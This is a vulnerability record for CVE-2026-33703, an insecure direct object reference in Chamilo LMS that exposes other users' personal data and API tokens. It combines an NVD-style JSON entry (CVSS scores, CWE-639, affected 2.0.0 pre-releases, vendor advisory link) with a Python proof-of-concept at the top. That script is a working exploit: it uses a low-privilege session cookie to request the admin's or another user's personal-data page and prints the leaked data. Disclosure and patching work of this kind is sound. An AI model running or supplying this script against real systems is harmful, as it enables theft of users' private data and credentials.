CVE-2026-33703

import requests # Target URL (Replace with actual target) target_url = "http://target-chamilo.com/main/social-network/personal-data/{}" # Attacker's session cookie (Low privilege user) session_cookies = { "PHPSESSID": "attacker_session_id_here" } # Target victim user ID (e.g., Admin ID is often 1 or 2) victim_user_id = "1" # Send request to exploit IDOR exploit_url = target_url.format(victim_user_id) response = requests.get(exploit_url, cookies=session_cookies) if response.status_code == 200: print("Exploit successful! Leaked data:") print(response.text) else: print("Exploit failed.")

{"cve": {"id": "CVE-2026-33703", "sourceIdentifier": "[email protected]", "published": "2026-04-10T19:16:23.327", "lastModified": "2026-04-16T18:48:04.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is a learning management system. Prior to 2.0.0-RC.3, an Insecure Direct Object Reference (IDOR) vulnerability in the /social-network/personal-data/{userId} endpoint allows any authenticated user to access full personal data and API tokens of arbitrary users by modifying the userId parameter. This results in mass disclosure of sensitive user information and credentials, enabling a full platform data breach. This vulnerability is fixed in 2.0.0-RC.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "4AF7661F-C1F7-4CAB-BBDF-FC5BF7F5BEB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "FE56AF71-9D53-42C6-980D-09E1C418ED87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:*", "matchCriteriaId": "01195674-9E1A-4C07-B7D3-0F0CC2E6511B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:*", "matchCriteriaId": "BAE63449-5A56-4302-A4BF-F3D19FC96A80"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha5:*:*:*:*:*:*", "matchCriteriaId": "A84A06F9-5AB7-4703-8153-33AC68882B95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "B91302A3-53DE-4ED0-BAAB-FE9DA03F8242"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "46008D4A-96F7-4E04-8256-E115AAAE3383"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "6E2BCAFF-D44B-4E67-998A-DF855E27606B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "D2E7D018-E4C2-45F5-8D9A-DAC947173607"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "DAF96697-6B6D-459D-9510-E5CEEDC2859B"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-27x6-c5c7-gpf5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}